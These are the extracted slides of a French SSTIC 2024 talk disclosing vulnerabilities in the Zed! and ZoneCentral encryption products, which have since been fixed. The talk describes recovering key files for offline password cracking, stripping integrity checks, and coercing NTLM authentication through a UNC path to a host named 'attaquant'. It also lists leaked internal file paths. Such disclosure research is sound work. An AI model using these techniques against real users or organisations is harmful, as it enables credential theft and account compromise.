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1. INTÉRÊT DE LA CIBLE



• Protection d’information « sensible »

• Classification, Pénal

• Régie par l’II 901*
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La mention « Diffusion Restreinte »

Transport et stockage

[…] chiffrées à l’aide de moyens agréés 

[pour le niveau DR] par l’ANSSI

*Instruction Interministérielle
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Modèles

Visa de sécurité

Certification :

• Cible de sécurité

• Evaluation CC / CSPN

• Choix du CESTI / Paiement

• Par le client

• Mais dans une liste de 

prestataires reconnues par 

l’ANSSI

Qualification :

• Objectif de recommandation

• Cible avec fonctions de sécurité

pour un niveau d’attaquant

• Élémentaire

• Standard

• Renforcé

• Visée règlementaire

• Engagements du fournisseur

Agrément :

• Permet l’utilisation d’une 

solution dans certains 

cadres règlementaires

https://cyber.gouv.fr/visa-de-securite

https://cyber.gouv.fr/visa-de-securite


• « Des moyens ont été mis en œuvre pour en jauger le niveau de sécurité, lié à un niveau d’attaquant »

• Pour une cible donnée

• Ex: EDR avec un                      ➔ robuste contre des LPE, ne dit rien sur sa capacité à détecter ou bloquer

• Ex: Passerelle dont la cible ne contient pas l’interface d’administration Web ➔ présence possible de vulnérabilités 

Web, même triviales

• Ex: Visioconf’ avec un                     sans agrément DR ➔ ne permet pas de faire de la visioconf’ DR au travers 

d’Internet, mais comme tout        autre logiciel de visioconf’ peut être utilisé au sein d’un réseau DR
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Cible et garanties

Visa de sécurité

Garantie de sécurité absolue
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Le parcours du RSSI étudiant

Agrément Zed!

0. Listing des produits agréés
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Le parcours du RSSI étudiant

Agrément Zed!

0. Listing des produits agréés
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Le parcours du RSSI pressé

Agrément Zed!
https://cyber.jbgalet.fr/produits-services-qualifies

0. Listing des produits agréés

https://cyber.jbgalet.fr/produits-services-qualifies
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Le parcours du RSSI persévérant

Agrément Zed!

0. Listing des produits agréés
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Le parcours du RSSI persévérant

Agrément Zed!

0. Listing des produits agréés

03 juin 2024
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Le parcours du RSSI connaisseur

Agrément Zed!

1. Recherche de la décision de qualification de Zed!

03 juin 2024
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Le parcours du RSSI avisé et chanceux

Agrément Zed!

1. Recherche de la décision de qualification de Zed! sur cyber.gouv.fr

30 mai 2024
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Le parcours du RSSI avisé et (mal)chanceux

Agrément Zed!

2.  (Pour chaque?) Consultation de la décision

30 mai 2024
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Le parcours du RSSI avisé

Agrément Zed!

3. Double-check sur le site

de l’éditeur
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Le parcours du RSSI avisé

Agrément Zed!

4. Lecture de (la bonne)

décision de qualification



17SSTIC 2024 – C. MOUGEY

Le parcours du RSSI minutieux

Agrément Zed!

5. Consultation des

documents

• Cible de sécurité

• Conditions d’utilisation

• …
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Le parcours du RSSI pointilleux

Agrément Zed!

5. Consultation des

documents

• Cible de sécurité

• Conditions d’utilisation

• …
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Le parcours du RSSI pointilleux

Agrément Acid

5. Consultation des

documents

• Cible de sécurité

• Conditions d’utilisation

• …
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Agrément pour le DR

Niveau d’agrément : DR

Stormshield

Trustway Proteccio

Zed

Cryhod

ZoneCentral

Acid

https://cyber.gouv.fr/produits-services-qualifies

IPsec

IGC

Chiffrement de fichiers

Non public

+ Restreint UE

+ Restreint OTAN

https://cyber.gouv.fr/produits-services-qualifies
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Intérêt

Choix de la cible

• Zed! : seul logiciel accessible à tous pour l’envoi et la réception d’information DR

• Il est donc :

• Déployé chez la grande majorité des entreprises traitant de l’information sensible (DR)

• « Exposé » à des canaux non sûrs (e-mails, clés USB, etc.)

• Une « cible potentielle » en audit

• Agrément DR, donc Qualification de niveau « standard », donc Critère Communs EAL3+

• Donc une cible de sécurité qui a été regardé (et d’autres travaux non spécifiés)

• Mais qui ne couvre pas tout l’objet en tant que logiciel



Représentativité d’un attaquant :

• Comme un client du produit

• Aucun accès à de l’information secrète

Résultat des analyses 

et de la qualification
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Hypothèses de l’analyse

Choix de la cible

Documentation interneMultiples archives Zed! 

non publiques
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2. DÉMARCHE D’ANALYSE
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Utilisation

Zed!

Tutoriel : https://spote.developpement-durable.gouv.fr/mtect-mte-mer/sg/sg-dnum/sg-dnum-msp/article/tuto-

transmettre-des-documents-a-donnees-sensibles-grace-a-zed-et-france
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A. APPROCHE « BOITE NOIRE »
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Eléments disponibles en ligne

•Cryptographie AES-256

•Utilisations possibles

•Eléments d’architecture
Cible de sécurité

•CVE-2018-16518 (CVSS 8.3)

•« L’ouverture d’une archive peut créer des 
fichiers arbitraires »

Vulnérabilités

•Accès de secours
•Extensions de fichier peuvent être 
clairs/cachées

•Chiffrement : mot de passe ou certificat

Guide ANSSI

•Format de base : MS-CFB (Office)

•Clé de chiffrement hardcodée pour obscurcir

•Données sous une forme TLV

Analyse du format 
Zed! (version 
antérieure)

•zed2john.py

•Dérivation des mots de passe
Format JtR

https://cyber.gouv.fr/produits-certifies/zed-version-q20211
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Eléments disponibles en ligne

•Cryptographie AES-256

•Utilisations possibles

•Eléments d’architecture
Cible de sécurité

•CVE-2018-16518 (CVSS 8.3)

•« L’ouverture d’une archive peut créer des 
fichiers arbitraires »

Vulnérabilités

•Accès de secours
•Extensions de fichier peuvent être 
clairs/cachées

•Chiffrement : mot de passe ou certificat

Guide ANSSI

•Format de base : MS-CFB (Office)

•Clé de chiffrement hardcodée pour obscurcir

•Données sous une forme TLV

Analyse du format 
Zed! (version 
antérieure)

•zed2john.py

•Dérivation des mots de passe
Format JtR

https://www.primx.eu/en/bulletins/security-bulletin-1859972/
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Eléments disponibles en ligne

•Cryptographie AES-256

•Utilisations possibles

•Eléments d’architecture
Cible de sécurité

•CVE-2018-16518 (CVSS 8.3)

•« L’ouverture d’une archive peut créer des 
fichiers arbitraires »

Vulnérabilités

•Accès de secours
•Extensions de fichier peuvent être 
clairs/cachées

•Chiffrement : mot de passe ou certificat

Guide ANSSI

•Format de base : MS-CFB (Office)

•Clé de chiffrement hardcodée pour obscurcir

•Données sous une forme TLV

Analyse du format 
Zed! (version 
antérieure)

•zed2john.py

•Dérivation des mots de passe
Format JtR

https://cyber.gouv.fr/publications/recommandations-pour-

une-utilisation-securisee-de-zed
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Eléments disponibles en ligne

•Cryptographie AES-256

•Utilisations possibles

•Eléments d’architecture
Cible de sécurité

•CVE-2018-16518 (CVSS 8.3)

•« L’ouverture d’une archive peut créer des 
fichiers arbitraires »

Vulnérabilités

•Accès de secours
•Extensions de fichier peuvent être 
clairs/cachées

•Chiffrement : mot de passe ou certificat

Guide ANSSI

•Format de base : MS-CFB (Office)

•Clé de chiffrement hardcodée pour obscurcir

•Données sous une forme TLV

Analyse du format 
Zed! (version 
antérieure)

•zed2john.py

•Dérivation des mots de passe
Format JtR

https://www.beuc.net/zed/
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Eléments disponibles en ligne

•Cryptographie AES-256

•Utilisations possibles

•Eléments d’architecture
Cible de sécurité

•CVE-2018-16518 (CVSS 8.3)

•« L’ouverture d’une archive peut créer des 
fichiers arbitraires »

Vulnérabilités

•Accès de secours
•Extensions de fichier peuvent être 
clairs/cachées

•Chiffrement : mot de passe ou certificat

Guide ANSSI

•Format de base : MS-CFB (Office)

•Clé de chiffrement hardcodée pour obscurcir

•Données sous une forme TLV

Analyse du format 
Zed! (version 
antérieure)

•zed2john.py

•Dérivation des mots de passe
Format JtR

An intermediary user key, a user IV and an 

integrity check

sum will be derived from the user password, 

using the deprecated PKCS#12 method as 

described at rfc7292 appendix B

https://github.com/openwall/john/blob/bleeding-

jumbo/run/zed2john.py
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• ProcMon pour observer les lectures de fichier

• Création d’une clé privée

→ NOM_UTILISATEUR.zaf créé puis accédé

• Suppression de tous les fichiers .zaf

→ le programme redemande de créer une clé

SSTIC 2024 – C. MOUGEY

Stockage des listes d’accès

Observations initiales

https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

.zaf : correspond ou contient au moins la clé privée de l’utilisateur
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• Ouverture dans l’outil de gestion 

Encrypted Zone Management

• Absence de chaînes de 

caractères dans le fichier

• Entropie (binwalk -E) proche de 1
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Format

Observations initiales

.zaf : probablement compressé ou chiffré



33SSTIC 2024 – C. MOUGEY

Emport de la clé de déchiffrement

Observations initiales

→ Fichier MyUser.zaf non nécessaire sur la destination

→ Une archive Zed! emporte le moyen d’être déchiffrée

(au moins le compte créateur)

1. Création d’un compte MyUser
2. Création d’une archive Zed!

3. Ouverture et utilisation de l’archive

4. Ouverture de l’archive

5. Le compte MyUser est disponible 

et fonctionnel !
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B.  ANALYSE DU ZAF
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Rétro-ingénierie

Analyse statique

• Plusieurs plateformes et éditions

• Linux, Windows, …

• Free, Commercial, …

• Binaires volumineux, a priori C++

• Notoirement fastidieux

• Utilisation de cryptographie

• Plugins (FindCrypt, …)

• Accélération matérielle (instructions AES-NI)

• Instructions typique de certains algorithmes, ex: HMAC
XOR xxx, 0x5c
XOR xxx, 0x36

Identification de plusieurs

fonctions de cryptographie
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Suivi du flot de donnée

Analyse dynamique

ReadFile

0x1234

0x5678 DO NN EE A  FO RT E
EN TR OP IE

0x1234

Hardware BP

DO NN EE A  FO RT E
EN TR OP IE

0x5678

https://github.com/bootleg/ret-sync

Analyse statique

memcpy

AES
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Analyse statique / dynamique

Déchiffrement :

• Algorithme : AES

• Mode

• Padding

• Secrets

CBC CFB

Si partie CBC identique:
XOR(chiffrésCFB) = XOR(clairsCFB)
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Secrets

Déchiffrement d’un ZAF

Récupération des 
secrets

Key Schedule Déchiffrement

Sens de l’exécution

AES
KE Y IN ME MO RY

Trace d’exécution

https://aka.ms/ttd

HA RD CO DE DK EY

Linux : rr
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Post analyse

Contenu d’un ZAF

Déchiffrement

• Clé hardcodée

Parsing du 
format

• TLV

Contenu

• Username, privilèges, …

• Emails + alias

• SID et DN de l’utilisateur

• Si PKI, certificat associé

• Clé publique RSA

• [Secrets chiffrés]

c.mougey@sstic.org
user123@sstic.org
office365@onmicrosoft.com

S-1-5-21-XXX-YYY-ZZZ-1234
CN=CamilleM,OU=Users,DC=sstic,DC=org
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Déchiffrement du secret

Contenu d’un ZAF

RFC 7292, Appendix B

• Authentification : password→ ID 1 + 200 000 SHA-256→ 8 premiers octets

• Déchiffrement :

• password→ ID 2 + 100 000 SHA-256→ IV

• password→ ID 3 + 100 000 SHA-256→ Key

Comparé avant déchiffrementBloc AES-CBCUtilisateurClé RSA privée
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Format John-the-Ripper

Contenu d’un ZAF

4 cœurs i5-7200U

200 essais / secondes

Si un attaquant accède à un .zaf, il peut essayer de trouver le secret

Faisabilité : seulement des attaques par dictionnaire
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Autres remarques

ZAF

• Le vrai secret est la clé privée du ZAF

• Possibilité d’avoir plusieurs comptes dans le même ZAF

• Souvent, chaîne « sécurité des données »

• Un compte caché **SOS** existe

• Compte de secours

• Son mot de passe (aléatoire) est chiffré avec la clé globale du ZAF

• Récupérable par un utilisateur / administrateur connaissant le secret du ZAF
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ZAF

**SOS**
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ZAF
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ZAF



46SSTIC 2024 – C. MOUGEY

ZAF
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ZAF
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ZAF



ZAF
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C.  FICHIERS ZED
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Analyse

Fichiers Zed!

Vulnérabilité 1

Les archives Zed! contiennent le 

ZAF de leur créateur

Archive Zed!

Fichier .zaf

Brute-force du

mot de passe

Leak d’informations

personnelles

Envoyer une archive Zed!  Envoyer sa clé privée (protégée par MDP)

Archives

• passées

• futures

Plusieurs archives  Plusieurs mots de passe ➔ Sécurité = min(MDPzaf)
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Analyse

Fichiers Zed!

Vulnérabilité 2

Une archive Zed! contient le 

« chemin initiale de création » 

Archive Zed!

X:\PartagesSecret\IncidentSSTIC\archive.zed

Comment vérifier tout ça ?
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CTI

Fichiers Zed!

M:\str-hfds-planification\04 - Planification\VIGIPIRATE\POSTURE ETE - AUTOMNE 2023\...

... Strasbourg - Audit PASSI LPM ... 2023 - Procès Verbal de réception ...

C:\Users\...\Documents\GMR\_UKRAINE\GM60 ...

X:\...\Pole de compétence SYSTEMES DE COMBAT\...\3 – PROGRAMMES ...

H:\ANALYSES DE LA MENACE ET AUTRES DOCS ENVOYES AUX OPERATEURS\CAMPAGNE DE SIGNALEMENT ... 
2021\...

Fichier .zaf
DN, SID, nom du domaine ANSSI

Adresses e-mails « anonymisées »

Si le mot de passe est BF…

CN = Requisition Judiciaire

Entreprise : ...
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Méthode

Intégrité des archives

Trace 1

Trace 2
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Méthode: diffing de trace

Intégrité des archives

https://github.com/commial/ttd-bindings

Trace 1 Trace 2

Permet d’isoler directement

le code responsable
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Intégrité des archives

Remarque 2

Suppression du HMAC → Perte d’intégrité des fichiers

Warning, mais l’utilisateur peut accepter
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Champs mystères

Étapes :

1. 0x10 octets

2. Répétés n fois

3. Copié dans l’archive

4. Chiffrés
AES-CBC(IV=0, key=ArchiveKey)

5. Re-chiffrés
RSA(PKCSv1.5, key=ArchivePubKey)

6. Re-re-chiffrés
AES-CBC(IV=0, key=ArchiveKey)

7. Copié dans l’archive

À quoi sert ce schéma ?

Ces octets sont-ils de la donnée ?
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Champs mystères

Spoiler :
• Code de manipulation de BigNum

• Emulation symbolique (Miasm) pour 

découvrir automatiquement les 

opérations

• Emulation des opérations de plus 

haut niveau → équations

• Hyperelliptic.org

• Dual EC-DRBG en x-only

• Non utilisé dans le « vrai » code

• Reliquat, peut-être pour vérifier 

lors du re-chiffrement d’une 

archive

Détails dans les actes
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Zed
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C.  ZONECENTRAL
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Tour d’horizon

ZoneCentral

• Chiffrement de dossier, appelés « zones »

• Même éditeur, agrément DR

• Format des fichiers de zone .zcctl très similaire

• Chiffrement grâce aux .zaf

Vulnérabilité 3

Le HMAC des fichiers de zone peut 

être supprimé, silencieusement

Remarque 3

Chiffrement AES-CBC-ZED, IV = filename

XOR(petits fichiers avec même filename) = XOR(clairs)
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CE SLIDE NE FAIT PAS PARTIE DE LA PRESENTATION

ERRATUM

Remarque 3

Chiffrement AES-CBC-ZED, IV = filename

XOR(petits fichiers avec même filename) = XOR(clairs)

L’IV ne dépend que de la Zone et du numéro du bloc (par bloc de 512octets)

Cette remarque est aussi valable pour le mode AES-CBC-CTS
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ZoneCentral + Zed!
• Chemin du fichier .zaf dans :

• Le fichier de zone (donc modifiable, puisque le HMAC peut-être retiré)

• L’archive (avant vérification de l’intégrité)

Vulnérabilité 4

L’utilisation d’un chemin UNC provoque 

une authentification implicite

\\attaquant\d\fichier.zaf

ZedMail

BF du challenge NTLM

→ Mot de passe

NTLM relay

Compromission

du compte AD

À l’ouverture d’un e-mail, d’une archive ou d’un fichier dans un répertoire partagé

→ Compromission possible du compte

mail.zed
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Coerce d’un utilisateur

Exemple : fichier de zone .zcctl malveillant (caché par l’explorateur)

Une écriture de fichier dans un sous-dossier déclenche la vulnérabilité
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3.  CORRECTIONS
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Vulnérabilités et corrections
CVE-2023-5044 (8.7), CVE-2023-50439 (5.3), CVE-2023-50442 (4.1), CVE-2023-50442 (4.1), CVE-2023-50441 (4.8)

CVE-2023-50443 (4.0), CVE-2023-50440 (7.5)

• Corrections < 3 mois, avec des variants trouvés par l’éditeur

• Communication publique, perte de l’agrément et agrément de la nouvelle version

• Communications privée

• Détails pour les bénéficiaires de l’agence

• Détails pour les clients Prim’X
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Vulnérabilités

https://cyber.gouv.fr/decouvrir-les-solutions-qualifiees
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Vulnérabilités
• Dans une version à jour, les archives ne contiennent plus :

• Le .zaf du créateur

• Le chemin de création

• Les chemins UNC ne sont plus pris en compte

• Que se passe-t-il si, temporairement, la solution qui a le monopole de fait n’est plus agréé pour le DR ?

Une analyse des données leakées (chemins, ZAF) doit être menée

Les fichiers ZAF doivent être entièrement renouvelés
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QUESTIONS

MERCI POUR VOTRE ATTENTION !


